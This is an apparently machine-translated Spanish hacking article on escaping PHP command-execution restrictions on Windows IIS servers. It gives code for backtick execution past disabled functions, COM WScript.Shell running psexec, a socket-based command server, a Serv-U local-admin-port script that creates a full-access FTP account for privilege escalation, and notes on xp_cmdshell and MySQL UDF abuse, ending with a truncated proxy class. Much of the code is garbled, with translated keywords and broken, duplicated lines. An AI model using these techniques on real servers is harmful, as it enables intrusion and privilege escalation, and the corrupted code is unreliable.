De WIN2000 a WIN XP y luego a WIN2003, la mejora en la seguridad del servidor MS IIS es obvia. En WIN2000, un SHELL PHP normal puede anularlo; en WIN XP, incluso si el modo seguro está desactivado, no se pueden usar funciones como system() para ejecutar comandos del sistema, pero aún podemos usar la función com() para avanzar; A partir de WIN 2003, incluso si IIS y PHP están instalados de forma predeterminada, es posible que no pueda utilizar system() o com() para derrotarlos. En este momento, debes utilizar algunos métodos nuevos para lograr avances.
1. Avance de enable_functions
En php-4.0.1 o superior, se introduce una función enable_functions en php.ini. Esta función es bastante útil y se puede utilizar para deshabilitar algunas funciones. Por ejemplo, si agrega enable_functions = passthru exec system popen a php.ini, al ejecutar estas funciones, se le indicará Advertencia: system() ha sido deshabilitado por razones de seguridad y el programa finalizará. Pero no hay forma de ejecutar comandos del sistema. Debido a que PHP usa muchas características de Perl, por ejemplo, también puede usar (`) para ejecutar comandos. El código de muestra es el siguiente:
<?$output = `ls -al`;echo "<pre>$output</pre>. ";?>
Se dice que esto sólo se puede evitar activando el modo seguro, pero la última vez que lo usé en un servidor externo, todavía falló. La gente no siempre tiene tanta suerte :)
2.Al
aplicar el dl( ) función
Cuando cualquiera de los números de ejecución de comandos internos de PHP y '' no se pueden usar, puede probar dl(). Este método solo se puede usar con el modo seguro = desactivado porque está deshabilitado en modo seguro. Usando dl() puedes llamar directamente a la función W32api Desafortunadamente, esta extensión se ha movido a la biblioteca PECL y ya no está vinculada desde PHP 5.1.0 o inferior. El siguiente es un ejemplo del manual:
// Cargue esta extensión
dl("php_w32api.dll");
// Registre la función GetTickCount, desde kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// Registrar la función MessageBoxA, desde User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
// Obtener información sobre el tiempo de inicio
$ticks = GetTickCount()
// Convertir a un formato fácil de entender; text
$segs = piso ($ticks / 1000);
$mins = piso($segs / 60);
$horas = piso($mins / 60);
$str = sprintf("Has estado usando tu computadora durante:".
"rn %d milisegundos, o rn %d segundos".
o "o rn %d minutos orn %d horas %d minutos.",
$ticks,
$segs,
$mins. ,
$horas,
$ minutos - ($horas*60));
// Muestra un cuadro de diálogo de mensaje con solo un botón Aceptar y el texto de la hora de inicio
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK ?
>
Desafortunadamente
);Todavía no lo entiendo. Tengo un conocimiento profundo de dl() y W32api, por lo que no daré ejemplos aleatorios para evitar engañar a los lectores.
3. Aplicación de funciones COM y .Net (Windows)
COM (Modelo de objetos componentes) es una especificación de software desarrollada por Microsoft que se utiliza para desarrollar componentes de software compilados y orientados a objetos. Permite abstraer el software en componentes binarios. Se utiliza principalmente en la plataforma Windows.
La versión de PHP para Windows ya tiene soporte integrado para este módulo de extensión. No es necesario cargar ninguna biblioteca de extensión adicional para utilizar funciones COM. Su uso es similar a la sintaxis para crear una clase en C++ o Java, y el nombre de la clase COM se pasa al constructor como parámetro. Por ejemplo, utilice "WScript.Shell" en PHP para ejecutar comandos del sistema:
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "no puede ejecutar()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "no puede ejecutar std( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
La Figura 1 es un ejemplo que escribí para ejecutar psexec.exe.
El significado de este código es exactamente el mismo que el de ASP. Por supuesto, también puede llamar a "ADODB.Connection" como ASP. Al usar este componente combinado con la vulnerabilidad de desbordamiento jet2, es posible que pueda obtener un Shell en PHP Saft. modo = ENCENDIDO.
//crea la conexión de la base de datos
$
conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" .
conn->Open($dsn);
// extrae los datos a través de la cadena SQL
$rs = $conn->Execute("seleccionar clientes de la web");
…..
?>
La función .Net solo se puede ejecutar en PHP 5, Of Por supuesto, requiere el soporte de ".Net runtime", y este es un módulo experimental de PHP que aún no es completamente funcional, por lo que no lo discutiré aquí.
4. Aplicación de la función Java()
Este método es adecuado para el modo seguro activado. Para utilizar el servidor del módulo JAVA, debe instalar una máquina virtual Java con anticipación y activar la opción with-java durante la instalación y configuración de PHP. El código es el siguiente:
[JAVA]
Esta es la ruta a php_java.jar
; java.class.path = .php_java.jar
;Ruta JDK
;Java.home = f:jdk1.3.0
;Ruta a la máquina virtual
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
es lo mismo que COM. Para crear una clase en Java (no solo JavaBeans), simplemente pase el nombre de la clase JAVA como parámetro al constructor. Aquí hay un ejemplo del manual:
// Este ejemplo solo está diseñado para ejecutarse como CGI
$frame = newJava
('java.awt.Frame', 'PHP');
awt.Button', '¡Hola mundo Java!');
$frame->add('North', $button);
$frame->validate();
$
frame->pack();
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose()
?>
Desafortunadamente, no hay muchos servidores PHP que realmente admitan JAVA, por lo que en No hay necesidad de discutir tanto.
5. Aplicación de la función socket()
Socket es un módulo extremadamente poderoso en PHP. Si usa una interfaz abstracta de alto nivel (socket abierto por las funciones fsockopen() y psockopen), no necesita abrir "php_sockets.dll". de. Pero si desea utilizar el bloque de funciones de socket completo, debe configurarlo así en php.ini:
Extensiones de Windows
. Tenga en cuenta que el soporte para MySQL y ODBC ahora está integrado, por lo que no se necesita dll para ello
...
; Elimine la siguiente oración El punto y coma al frente
; extensión=php_sockets.dll
usa el bloque de funciones de socket de PHP para implementar el reenvío/redireccionamiento de puertos, el rastreo de paquetes, el desbordamiento local y otras funciones. Además, también se puede utilizar para construir un servidor TCP/UDP. Al mismo tiempo, creo que también es la mejor manera de romper la política de seguridad del servidor. El siguiente es un ejemplo de cómo abrir un puerto en el servidor para construir un servidor TCP. Puede usarlo para agrupar cmd.exe del servidor:
//Construir un servicio TCP en el servidor
//Este ejemplo requiere el soporte de php_sockets.dll.
//Después de la ejecución, puede usar "telnet 127.0.0.1 1020" para conectarse
error_reporting(E_ALL);
/*Permitir
que el script permanezca esperando conexiones */
set_time_limit(0);
lo que obtenemos
* tal como viene. */
ob_implicit_flush();
// Vincula IP y puerto en el servidor
$address=
'127.0.0.1'
$port = 1020;
SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() falló: motivo: " . socket_strerror($sock)
}
if (($ret = socket_bind($sock, $dirección, $puerto)) < 0) {
echo "socket_bind() falló: motivo: " . socket_strerror($ret) "n"
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen(); falló: motivo: " . socket_strerror($ret) . "n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() falló: motivo: " . socket_strerror($ msgsock) " n";
break;
}
/* Enviar instrucciones. */
$msg = "nBienvenido al servidor de prueba PHP. n"
"Para salir, escriba 'salir'. Para cerrar el servidor, escriba '. apagado'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() falló : motivo: " . socket_strerror($ret) . "n";
descanso 2;
}
if (!$buf = trim($buf)) {
continuar;
}
if ($buf == 'salir') {
descanso;
}
if ($buf == 'apagar') {
socket_close
($msgsock);
break 2
}
$talkback = "PHP: Dijiste '$buf'.n";
));
echo "$bufn";
// Lo siguiente procesa el buf recibido
/*eg: por ejemplo
$buf="cmd.exe /c netstat –an";
$pp = popen('$buf ', ' r');
Mientras ($read = fgets($pp, 2096))
echo $read;
pclose
($pp);
mientras (verdadero);
socket_close
(
$msgsock);
sock);
?>
De hecho, muchos hosts no cargan php_sockets.dll. Afortunadamente, la función "fsockopen" que no requiere soporte para el módulo de socket es suficiente para que la usemos. Porque mientras exista "fsockopen", podemos leer y escribir libremente en esta máquina puertos que no están abiertos al mundo exterior. Usar fsockopen para leer y escribir el puerto de administración local 43958 de serv-u (nota: este puerto no se puede conectar externamente) para escalar privilegios es un ejemplo típico:
$adminuser="LocalAdministrator"
$adminpass=" #l@$ak#; .lk;0@P ”;
$adminport=" 43958";
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ( $errno)
n";
} else {
//$shellcode se puede escribir
// fputs ($fp, $shellcode);
fputs ($fp, "USUARIO ".$adminuser."rn");
dormir ( 1);
fputs ($fp, "PASS".$adminpass.
"rn");
fputs
(
$fp, "MANTENIMIENTO DEL SITIOrn");
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport." rn");
fputs ($fp, "-Usuario=".$usuario."rn");
fputs ($fp, "-Password=".$contraseña."rn") ;
entradas ($fp, "-HomeDir=".$homedir."rn");
entradas($fp, "
-LoginMesFile=rn");
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs ($fp, "-Expire=0rn");
fputs
($fp, "-RatioUp=1rn");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn
"
);fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=Systemrn");
fputs ($fp, "-PasswordType=Regularrn") ;
entradas ($fp, "-Ratios=Nonern");
entradas ($
fp, " Access=".$homedir."|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
También puedes usar fsockopen para escribir un proxy HTTP para acceder a la red externa o al computadora local. Sitios web accesibles externamente. Tengo un HTTPProxy completo (Figura 4) con un código largo. Los lectores interesados pueden echar un vistazo.
6. La interfaz MYSQL/MSSQL
se diferencia de Linux en que mysql/MSSQL en Windows generalmente se ejecuta como administrador del sistema. Por lo tanto, siempre que pueda obtener la contraseña de root/sa en la base de datos SQL local, puede usarla directamente. PHP se conecta a la base de datos para ejecutar comandos del sistema.
La ejecución de comandos del sistema en MySQL requiere explotar la vulnerabilidad de la función definida por el usuario "Biblioteca dinámica MySQL UDF". En MSSQL, siempre que se conecte a la base de datos, puede llamar directamente al comando de ejecución extendido "master..xp_cmdshell". Los permisos son, por supuesto, permisos del sistema.
Para resumir: debido a las diferentes versiones del sistema, IIS y PHP, los métodos innovadores mencionados anteriormente pueden cambiar. PHP también tiene muchas funciones extendidas que se pueden utilizar para salir de la función de ejecución de comandos del sistema system(). ¡Rompe las restricciones de la política de seguridad del sistema!
Se adjunta el código proxy.php
error_reporting(E_ALL);
/*
// Este programa es software libre, puede redistribuirlo y/o
// modificarlo según los términos de la Licencia Pública General GNU
// publicada por el Software Libre; Foundation; ya sea la versión 2
// de la Licencia o (a su elección) cualquier versión posterior.
//
// Este programa se distribuye con la esperanza de que sea útil,
// pero SIN NINGUNA GARANTÍA ni siquiera la garantía implícita; de
// COMERCIABILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR Consulte la
// Licencia Pública General GNU para obtener más detalles
//
// Debería haber recibido una copia de la Licencia Pública General GNU
// junto con este programa; al Software Libre
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, EE. UU.
//---------------------. ----- --------------------------------------------- --
// Clase: PHProxy
// Autor: ultimategamer00 (Abdullah A.)
// Última modificación: 6:28 p.m. 22/06/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $cadena
}
if (!function_exists('str_rot13'))
{
function str_rot13($cadena)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
$alfa[0], $alfa[1] );
}
}
clase PHProxy
{
var $hosts_permitidos = matriz();
var $versión;
var $script_url
;
var $url_segmentos
= matriz('include_form' => 1, '
remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' =>1
, 'show_referer' => 1);
var
$socket
var
$
;
cuerpo_respuesta;
función PHProxy( $flags = 'anterior')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . $this->url_segments ['consulta']) ? "?" : '') " HTTP/1.0rn";
$
headers .= "Host:rn";
-Agente: Mozilla/ 4.0 (compatible; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Aceptar: texto/xml, aplicación/xml, aplicación/xhtml+xml, texto/html q=0.9; , texto/plain; q=0.8, video/x-mng, imagen/png, imagen/jpeg, imagen/gif; q=0.2, */*
; : cerrarr n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referente: rn";
}
$cookies = $this->get_cookies();
$encabezados .= $ cookies != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$encabezados = " " . (isset($this->url_segments['consulta') ]) ? "? " : '') " HTTP/1.0rn";
$encabezados .= "Host::rn"
$encabezados .= "Agente de usuario: Mozilla/4.0; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Aceptar: texto/xml, aplicación/xml, aplicación/xhtml+xml, texto/html;q=0.9, texto/plain;q=0.8, video/x-mng , imagen/png, imagen/jpeg, imagen/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Conexión: cerrarrn";
si ($this-> flags['show_referer'] == 1)
{
$headers .= "Referidor: rn"
}
$
cookies = $this->get_cookies();
' ? "Cookie
: $cookiesrn" : '';